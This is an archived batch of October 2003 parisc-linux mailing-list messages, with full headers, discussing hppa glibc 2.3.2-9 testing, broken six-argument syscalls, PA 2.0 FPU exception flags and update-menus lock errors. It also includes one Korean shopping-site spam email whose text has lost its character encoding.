Message-ID: <20031020042625.D781148ED@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622891 337 80.91.229.3 (22 Nov 2014 02:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:31 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 22:26:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from noble21.co.kr (unknown [61.72.80.34])
	by dsl2.external.hp.com (Postfix) with SMTP id D781148ED
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 22:26:25 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19875

wLi8vL/k?=
Date: Mon, 20 Oct 2003 13:27:05 +0900
MIME-Version: 1.0
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: 8bit


<html>

<head>
<title>  ߽Դϴ.  ǻ Ǹ ̿ ּ. </title>
<meta name="generator" content="ahgh">
</head>

<body text="black" link="blue" vlink="purple" alink="red" leftmargin="0" marginwidth="0" topmargin="0" marginheight="0" bgcolor="#F3F3F3">
<table border="0" cellpadding="0" cellspacing="0" width="1096">
    <tr>
        <td width="7">
            <p>&nbsp;</p>
        </td>
        <td width="1089"><table cellpadding="0" cellspacing="0" width="654" style="border-collapse:collapse;">
    <tr>
        <td width="1092" style="border-top-width:1; border-right-width:1; border-bottom-width:0; border-left-width:1; border-top-color:gray; border-right-color:gray; border-left-color:gray; border-style:solid;">
            <p><img src="http://www.noble21.co.kr/mailling/2003.05.13/img_1.jpg" width="654" height="924" border="0" usemap="#ImageMap1"></p>
        </td>
    </tr>
    <tr>
        <td width="1092" style="border-top-width:0; border-right-width:1; border-bottom-width:1; border-left-width:1; border-right-color:gray; border-bottom-color:gray; border-left-color:gray; border-style:solid;">
            <table style="border-collapse:collapse;" cellpadding="0" cellspacing="0" width="654" bgcolor="#999999" bordercolordark="white" bordercolorlight="white">
                <tr>
                    <td width="644" style="border-width:1; border-color:white; border-top-style:none; border-right-style:solid; border-bottom-style:solid; border-left-style:solid;">
                        <p align="center"><FONT color="white" face=""><span style="font-size:9pt;"><BR></span></FONT><span style="font-size:9pt;"><font face="" color="white">Tel : () 02-2605-1836&nbsp;&nbsp;&nbsp;&nbsp;Fax : 02-2694-0413&nbsp;&nbsp;&nbsp;&nbsp;E-mail : </font></span><A 
href="mailto:webmaster@noble21.co.kr"><FONT 
color="white" face=""><span style="font-size:9pt;">webmaster@noble21.co.kr</span></FONT></A><span style="font-size:9pt;"><font face="" color="white">&nbsp;&nbsp;&nbsp;&nbsp;<BR> : 157-010   ȭ 24-233 21() ǰ̺ҸƮ&nbsp;&nbsp;&nbsp;&nbsp;<br>ڵϹȣ : 
109-81-76636ǸžŰ  16-299ȣ<br>Copyright  </font></span><FONT 
color="white" face=""><span style="font-size:9pt;">noble21</span></FONT><span style="font-size:9pt;"><font face="" color="white"> All rights reserved.</font><font face=""><BR><BR></font></span></p>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>
        </td>
    </tr>
</table>
<map name="ImageMap1">
<area shape="rect" coords="242, 19, 305, 45" href="http://www.noble21.co.kr/shop/category.php?classid=1" target="_blank">
<area shape="rect" coords="306, 20, 373, 44" href="http://www.noble21.co.kr/shop/category.php?classid=2" target="_blank">
<area shape="rect" coords="375, 19, 452, 44" href="http://www.noble21.co.kr/shop/category.php?classid=3" target="_blank">
<area shape="rect" coords="452, 20, 521, 44" href="http://www.noble21.co.kr/shop/category.php?classid=4" target="_blank">
<area shape="rect" coords="523, 20, 574, 44" href="http://www.noble21.co.kr/shop/category.php?classid=5" target="_blank">
<area shape="rect" coords="573, 19, 652, 46" href="http://www.noble21.co.kr/shop/category.php?classid=9" target="_blank">
<area shape="rect" coords="9, 8, 123, 39" href="http://www.noble21.co.kr/" target="_blank">
<area shape="rect" coords="438, 559, 609, 603" href="http://www.noble21.co.kr/" target="_blank">
<area shape="rect" coords="57, 669, 231, 821" href="http://www.noble21.co.kr/drqueen/drqueen01_1.php" target="_blank">
<area shape="rect" coords="240, 669, 413, 820" href="http://www.noble21.co.kr/drqueen/drqueen02_1.php" target="_blank">
<area shape="rect" coords="423, 669, 595, 820" href="http://www.noble21.co.kr/drqueen/drqueen03_1.php" target="_blank">
</map><br><table width="100%"><td bgcolor="#FFFFFF"><hr>
<font color="#808080" face=""><span style="FONT-SIZE:9pt"> ̸ּҴ ͳ<a href="http://cvs.handhelds.org/cgi-bin/viewcvs.cgi/linux/kernel26/maintainers?rev=1.7&content-type=text/vnd.viewcvs-markup"></a>˰ԵǾ, ּ̿     ʽϴ. ϼ   <a href="mailto:webmaster@noble21.co.kr?subject=REMOVE&body= ̸ּ parisc-linux@parisc-linux.org Ʈ  ּ...">[Űź]</a> ֽʽÿ..  մϴ. 
</span></font><font face="Arial" size="2"><font color="#808000">If you feel that this information is not what you want, please click <a href="mailto:webmaster@noble21.co.kr?subject=REMOVE&body=Pls remove my email parisc-linux@parisc-linux.org from your list..">[HERE]</a> requesting to be removed. Thank you, and we apologize for any inconvenience.</font><hr></td></table><br></body>

</html>

H>`PC\Q:3>'gM0(9h22 h5




From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Mon, 20 Oct 2003 00:33:14 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20031020043314.GA26432__42352.5406550199$1416622891$gmane$org@systemhalted>
References: <20031018215509.GB10704@colo.lackof.org> <200310182225.h9IMPR0i023691@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622891 347 80.91.229.3 (22 Nov 2014 02:21:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 22:37:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D67748ED
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 22:37:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABRjH-0006sr-00; Mon, 20 Oct 2003 00:33:15 -0400
Content-Disposition: inline
In-Reply-To: <200310182225.h9IMPR0i023691@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (30% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19876

On Sat, Oct 18, 2003 at 06:25:27PM -0400, John David Anglin wrote:
> > I've installed the libc6 and libc6-dev debs on both c3k's
> > and they both are working fine (well, mozilla-firebird is
> > still broken, not new).
> 
> I don't know about firebird but standard mozilla needs some pa specific
> configuration stuff added before it will build/work.  I made a first
> cut at this and started debugging the app a few weeks ago, but got
> caught up in other things.

I'm surprised that more things aren't broken, the typo in sysdep-cancel
made all six argument syscalls unsuable :)

Thanks for the testing guys!

c.



From - Thu Nov 08 21:29:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc 2.3.2-9 available for the brave testers!
Date: Mon, 20 Oct 2003 00:34:16 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20031020043415.GB26432__46652.0649999895$1416622892$gmane$org@systemhalted>
References: <20031017180912.GD27289@systemhalted> <3F91A332.9050700@tiscali.be> <3F91D2C3.8020209@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622892 352 80.91.229.3 (22 Nov 2014 02:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 22:38:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id C094748ED
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 22:38:07 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABRkG-0006tC-00; Mon, 20 Oct 2003 00:34:16 -0400
Content-Disposition: inline
In-Reply-To: <3F91D2C3.8020209@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (30% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19877

On Sat, Oct 18, 2003 at 11:54:43PM +0000, Joel Soete wrote:
> So squid didn't hang any more at start up but still failled:
> 'Setting up squid (2.5.4-2) ...
> Creating squid spool directory structure
> FATAL: Could not determine fully qualified hostname.  Please set 
> 'visible_hostname'

recvfrom, six argument syscall, fails. I found this out people who use
nscd found it crashing.

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 01:02:29 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20031020050229.GC26432@systemhalted>
References: <20031019215130.GG8642@systemhalted> <200310192316.h9JNG3At027825@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622892 359 80.91.229.3 (22 Nov 2014 02:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:32 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 23:06:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5879848ED
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 23:06:25 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1ABSBa-0006yM-00; Mon, 20 Oct 2003 01:02:30 -0400
Content-Disposition: inline
In-Reply-To: <200310192316.h9JNG3At027825@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19878

On Sun, Oct 19, 2003 at 07:16:03PM -0400, John David Anglin wrote:
> > I've noticed that I cannot generate an underflow or overflow exception
> > without also forcing an inexact exception on my PA 2.0 system. Are you
> > familiar with this behaviour at all? I'm trying to straighten our fenv
> > setup, and this is really the last crinkle.
> 
> I suggest looking at page 10-7.  It describes the PA 2.0 behavior
> for this situation.  I'm not an IEEE so I don't know offhand what it
> mandates.

Multiple exceptions per instruction is not the intended behaviour :)
I need two numbers, that when added only overflow, not overflow and
inexact. The same to be said for underflow. Perhaps I just need to 
dig more.

c.



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] menu: update-menus failled on hppa?
Date: Mon, 20 Oct 2003 07:37:06 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3F937482.1060302@hrzpub.tu-darmstadt.de>
References: <3F92ED0A.3010806@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622892 367 80.91.229.3 (22 Nov 2014 02:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:32 +0000 (UTC)
To: Joel Soete <soete.joel@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 23:36:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C8C248ED
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 23:36:46 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157024038.dialin.heagmedianet.de [213.157.24.38])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id h9K5adJU014779
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO);
	Mon, 20 Oct 2003 07:36:42 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3F92ED0A.3010806@tiscali.be>
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-2.1,
	benoetigt 5, IN_REP_TO -0.50, QUOTED_EMAIL_TEXT -0.48,
	REFERENCES -0.50, REPLY_WITH_QUOTES -0.50,
	USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19879

Hi Joel,

Joel Soete schrieb:

> Hi pa,
>
> I noticed from a certain time that (but always forget to report, sorry):
> update-menus[1098]: Cannot lock /var/run/update-menus.pid: Resource 
> temporarily unavailable Aborting.
>
> Is anybody else encounter also this pb (with debian/unstable at least)? 

I also encounter this problem on my 715 running debian unstable. I think 
running update-menus during upgrade takes too much time, so dpkg thinks 
it isn't corresponding anymore. When running update-menus from prompt I 
don't get any error messages.

>
>
> Joel
>
Ruediger



From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc 2.3.2-9 for hppa - "when hell freezes over" release
Date: Mon, 20 Oct 2003 02:00:45 -0600 (MDT)
Lines: 12
Approved: news@gmane.org
Message-ID: <200310200800.h9K80jQ20069__34476.6649221585$1416622893$gmane$org@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622893 368 80.91.229.3 (22 Nov 2014 02:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:33 +0000 (UTC)
Cc: debian-glibc@lists.debian.org, jbailey@nisa.net, lamont@hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 02:00:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFE474912
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 02:00:46 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 2256B1C02EA0; Mon, 20 Oct 2003 04:00:46 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.11.1/8.9.3 SMKit7.01) id h9K80jQ20069;
	Mon, 20 Oct 2003 02:00:45 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19880

> > - Looking into mlockall failures.
>
> Passes QA on a 2.4 kernel (posix testsuite). 2.6 seems broken, though
> that is unrelated to glibc.

Yes, this is a known problem. We've seen it on ia64 also. I believe
the fix is in Linus's tree, but I'm not sure if it made it into test8
or not.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPPA FPU Specification? (FE_INEXACT raised by accident)
Date: Mon, 20 Oct 2003 11:30:34 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200310201530.h9KFUYZN000693@hiauly1.hia.nrc.ca>
References: <20031020050229.GC26432@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622893 371 80.91.229.3 (22 Nov 2014 02:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:33 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 09:30:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B1EF4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 09:30:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h9KFUZDF000696;
	Mon, 20 Oct 2003 11:30:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h9KFUYZN000693;
	Mon, 20 Oct 2003 11:30:34 -0400 (EDT)
In-Reply-To: <20031020050229.GC26432@systemhalted> from "Carlos O'Donell" at Oct 20, 2003 01:02:29 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19881

> > I suggest looking at page 10-7.  It describes the PA 2.0 behavior
> > for this situation.  I'm not an IEEE so I don't know offhand what it
> > mandates.
> 
> Multiple exceptions per instruction is not the intended behaviour :)
> I need two numbers, that when added only overflow, not overflow and
> inexact. The same to be said for underflow. Perhaps I just need to 
> dig more.

Well 10-7 talks explicitly about what happens when you get both
exceptions on a single instruction.  On the otherhand, the discussion
of the inexact exception seems to imply that inexact should only occur
in an overflow/underflow situation when an overflow/underflow exception
doesn't occur.  Possibly, the PA implementation is not consistent with
IEEE mandated behavior, but I can't be sure.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] menu: update-menus failled on hppa?
Date: Mon, 20 Oct 2003 17:53:52 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <3F8A272E00004778@ocpmta3.freegates.net>
References: <3F937482.1060302@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622893 373 80.91.229.3 (22 Nov 2014 02:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:33 +0000 (UTC)
To: "Ruediger Scholz" <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 20 09:54:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 901954840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 20 Oct 2003 09:54:01 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ABcLx-0000YA-00; Mon, 20 Oct 2003 17:53:53 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 20 Oct 2003 17:53:52 +0200
In-Reply-To: <3F937482.1060302@hrzpub.tu-darmstadt.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19882

Hi Ruediger,

Yes I see, that was common to all system at my disposal (b180, b2k, c110).

Thanks for advise,
    Joel

>-- Original Message --
>Date: Mon, 20 Oct 2003 07:37:06 +0200
>From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
>To: Joel Soete <soete.joel@tiscali.be>, parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] menu: update-menus failled on hppa?
>
>
>Hi Joel,

Joel Soete schrieb:

> Hi pa,
>
